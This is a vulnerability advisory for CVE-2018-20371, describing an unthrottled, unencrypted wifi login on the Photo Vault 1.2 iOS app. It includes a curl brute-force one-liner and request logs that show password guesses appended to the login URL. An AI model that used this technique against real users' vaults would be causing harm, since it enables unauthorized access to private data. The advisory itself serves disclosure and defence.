CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
85.5%
Document Title:
===============
Photo Vault 1.2 iOS - Insecure Authentication Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2110
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-20371
CVE-ID:
=======
CVE-2018-20371
Release Date:
=============
2018-01-16
Vulnerability Laboratory ID (VL-ID):
====================================
2110
Common Vulnerability Scoring System:
====================================
4.8
Vulnerability Class:
====================
Insecure Storage of Sensitive Information
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
https://itunes.apple.com/us/app/id1053383947
Abstract Advisory Information:
==============================
The vulnerability labortory core research team discovered a insecure authentication issue in the official
Vulnerability Disclosure Timeline:
==================================
2018-01-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
PhotoRange
Product: Photo Vault - Mobile (Web-Application) 1.2
Exploitation Technique:
=======================
Local
Severity Level:
===============
Medium
Authentication Type:
====================
Open Authentication (Anonymous Privileges)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Full Disclosure
Technical Details & Description:
================================
An insecure authentication method issue has been discovered in the official iOS mobile web-application.
The vulnerability is located in the login mechanism and password request communication. In case of the activated wifi
server it is possible to remotly access the vault protected by a password. The password request is a simple less
protected attempt to the login.html file with `_` to split between the password and file. There is no request limitation
to block automated bruteforce attacks.
Attackers can perform fast brute force password audits against the http basic authentication mechanism. Remote attackers
can use an automated dictionary attack or compromise by manual basic http bruteforce attacks via curl, nmap or http-brute.
Attackers can fast gain unauthorized access the private vault over the activated wifi web-application in the same network.
A second minor problem is that there is no https protocol activated for the wifi http web-server communication in the network.
Both issues together pose a significant risk to end users and the private stored information in the vault mobile ios application.
The security risk of the insecure authentication method issue is estimated as medium with a cvss count of 4.8.
Exploitation of the issue requires network access to connect to the web-server via wifi without user interaction.
Successful exploitation of the vulnerability results in unauthorized access to private or sensitive data.
Proof of Concept (PoC):
=======================
The security issue can be exploited by remote attackers without privileged user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below.
PoC:
http_code=$(curl -L -data password="passwdords.txt" "$url http://Localhost:9900/login.html__" -w '%{http_code}' -o /root/fuzztime -s)
--- PoC Session Logs [GET] ---
GET http://localhost:9900/login.html
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://Localhost:9900/
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:20 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked
Note: Requests first the login page
-
GET http://localhost:9900/login.html__passwd1
Host: Localhost:9900
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost:9900/login.html
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Date: Sat, 06 Jan 2018 15:06:26 GMT
Accept-Ranges: bytes
Transfer-Encoding: chunked
Note: Access to vault of ios mobile application was cracked in a forensic access test within 15 minutes.
Reference(s):
http://localhost:9900/
http://localhost:9900/login.html
http://localhost:9900/login.html__
Security Risk:
==============
The security risk of the vulnerability in the mobile vault application is eastimated as medium (CVSS 4.8).
Credits & Authors:
==================
Benjamin K.M. [[email protected]] - https://www.vulnerability-lab.com/show.php?user=Benjamin+K.M.
Disclaimer & Information:
=========================
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CVSS2
Attack Vector
NETWORK
Attack Complexity
LOW
Authentication
NONE
Confidentiality Impact
PARTIAL
Integrity Impact
NONE
Availability Impact
NONE
AV:N/AC:L/Au:N/C:P/I:N/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
HIGH
Integrity Impact
HIGH
Availability Impact
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
EPSS
Percentile
85.5%